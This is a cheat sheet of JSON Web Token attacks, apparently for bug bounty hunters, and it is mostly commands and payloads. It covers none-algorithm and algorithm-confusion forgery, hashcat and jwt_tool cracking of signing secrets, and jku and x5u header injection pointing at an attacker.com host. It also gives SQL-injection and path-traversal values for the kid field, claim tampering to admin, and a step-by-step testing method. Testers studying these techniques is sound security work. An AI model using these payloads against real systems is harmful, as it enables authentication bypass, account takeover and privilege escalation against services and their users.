JWT Structure
TEXT
Header.Payload.Signature
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
Quick Decode
BASH
# Command line
echo "eyJhbGciOiJIUzI1NiJ9" | base64 -d
# jwt_tool
python3 jwt_tool.py <token>
# jwt.io - paste full token
Algorithm Attacks
None Algorithm
JSON
// Original header
{"alg":"HS256","typ":"JWT"}
// Attack: Change to none
{"alg":"none","typ":"JWT"}
{"alg":"None","typ":"JWT"}
{"alg":"NONE","typ":"JWT"}
{"alg":"nOnE","typ":"JWT"}
// Remove signature (keep trailing dot!)
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxMjM0NTY3ODkwIn0.
RS256 to HS256 (Algorithm Confusion)
BASH
# Server uses RS256 (asymmetric) but also accepts HS256 (symmetric)
# Attack: Sign with PUBLIC key as HS256 secret
# 1. Get public key
openssl s_client -connect target.com:443 < /dev/null 2>/dev/null | openssl x509 -pubkey -noout > public.pem
# OR extract from /.well-known/jwks.json, /api/keys, etc.
# 2. Convert JWK to PEM if needed
# 3. Sign token with public key using HS256
python3 jwt_tool.py <token> -X k -pk public.pem
# Manual with Node.js
const jwt = require('jsonwebtoken');
const fs = require('fs');
const publicKey = fs.readFileSync('public.pem');
const token = jwt.sign({sub: 'admin'}, publicKey, {algorithm: 'HS256'});
Signature Attacks
Weak Secret Brute Force
BASH
# hashcat (fastest)
hashcat -a 0 -m 16500 jwt.txt rockyou.txt
hashcat -a 0 -m 16500 "eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4ifQ.signature" rockyou.txt
# jwt_tool
python3 jwt_tool.py <token> -C -d wordlist.txt
# jwt-cracker (node)
jwt-cracker -t <token> -d wordlist.txt
# Common weak secrets
secret, password, 123456, secret123, jwt_secret
your-256-bit-secret, changeme, development
Null Signature
TEXT
# Some implementations don't verify signature at all
# Try sending token with empty/random signature
eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4ifQ.AAAAAAAAAAAAA
eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4ifQ.
Header Injection
JKU (JWK Set URL) Injection
JSON
{
"alg": "RS256",
"jku": "https://attacker.com/.well-known/jwks.json"
}
// Host your own JWKS with your key pair
// Server fetches and trusts your key
JWK (Embedded Key) Injection
JSON
{
"alg": "RS256",
"jwk": {
"kty": "RSA",
"n": "<your-public-key-modulus>",
"e": "AQAB"
}
}
// Token is verified using the embedded key you control
X5U (X.509 URL) Injection
JSON
{
"alg": "RS256",
"x5u": "https://attacker.com/cert.pem"
}
// Host certificate with your key pair
X5C (X.509 Certificate Chain) Injection
JSON
{
"alg": "RS256",
"x5c": ["<base64-encoded-certificate>"]
}
// Self-signed certificate embedded
KID (Key ID) Injection
JSON
// SQL Injection via kid
{"alg":"HS256","kid":"1' UNION SELECT 'secret'--"}
// Server uses SQL result as key → you know key = 'secret'
// Path Traversal via kid
{"alg":"HS256","kid":"../../dev/null"}
// Sign with empty file (empty/predictable key)
{"alg":"HS256","kid":"../../etc/hostname"}
// Sign with content of hostname file
{"alg":"HS256","kid":"/proc/sys/kernel/randomize_va_space"}
// Usually contains "2"
Claim Attacks
Payload Manipulation
JSON
// Common claims to attack
{
"sub": "admin", // Subject - try admin, 1, root
"user": "admin", // User identifier
"role": "admin", // Role claim
"admin": true, // Admin flag
"is_admin": 1, // Alternative admin flag
"groups": ["admin"], // Group membership
"scope": "admin read write", // OAuth scopes
"aud": "admin-api", // Audience - access other apps
"iss": "trusted-issuer", // Issuer - if checked against whitelist
"exp": 9999999999, // Expiration far in future
"iat": 1, // Issued at - old token still valid?
"jti": "reused-id" // JWT ID - replay attacks
}
Type Juggling
JSON
// PHP loose comparison
{"admin": true} vs {"admin": "true"}
{"role": 0} vs {"role": "0"}
{"id": 1} vs {"id": "1"}
Claim Injection
JSON
// Add unexpected claims
{
"user_id": 123,
"user_id": 456 // Duplicate - which is used?
}
// Nested claims
{
"user": {
"id": 123,
"is_admin": true
}
}
Cross-Service Attacks
Token Reuse Across Apps
TEXT
# Token issued for app1.target.com
# Try using it on app2.target.com
# Check if 'aud' claim is validated
Issuer Bypass
TEXT
# Token from subsidiary/acquired company
# Internal issuer that's trusted
# Development issuer (iss: "dev")
Testing Methodology
Step 1: Analyze Token
BASH
# Decode and understand structure
jwt_tool.py <token> -T
# Check:
- Algorithm used
- Expiration time
- User identifying claims
- Role/permission claims
Step 2: Test None Algorithm
BASH
jwt_tool.py <token> -X a # All attacks including none
Step 3: Brute Force Weak Secret
BASH
jwt_tool.py <token> -C -d wordlist.txt
Step 4: Test Algorithm Confusion
BASH
# If RS256, try HS256 with public key
jwt_tool.py <token> -X k -pk public.pem
Step 5: Test Claim Manipulation
BASH
jwt_tool.py <token> -T # Tamper mode
# Modify claims, re-sign if you have key
Step 6: Header Injection
TEXT
- Test jku with collaborator
- Test kid SQL injection
- Test kid path traversal
Tools
BASH
# jwt_tool (Python - most complete)
python3 jwt_tool.py <token> -T # Tamper
python3 jwt_tool.py <token> -X a # All attacks
python3 jwt_tool.py <token> -C -d words.txt # Crack
# jwt-cracker (Node - fast cracking)
jwt-cracker -t <token>
# jwt.io - Online decoder/encoder
# Burp - JWT Editor extension
Bug Bounty Tips
High-Value Targets
TEXT
- Authentication tokens
- Password reset tokens
- API authorization
- OAuth access tokens
- Session tokens
- Email verification links
Key Locations
TEXT
/.well-known/jwks.json
/api/keys
/oauth/jwks
/.well-known/openid-configuration
X.509 certificates from TLS
Impact Demonstration
TEXT
1. Decode token → show claims
2. Modify claims (user → admin)
3. Re-sign with attack
4. Show successful auth as admin
5. Document specific access gained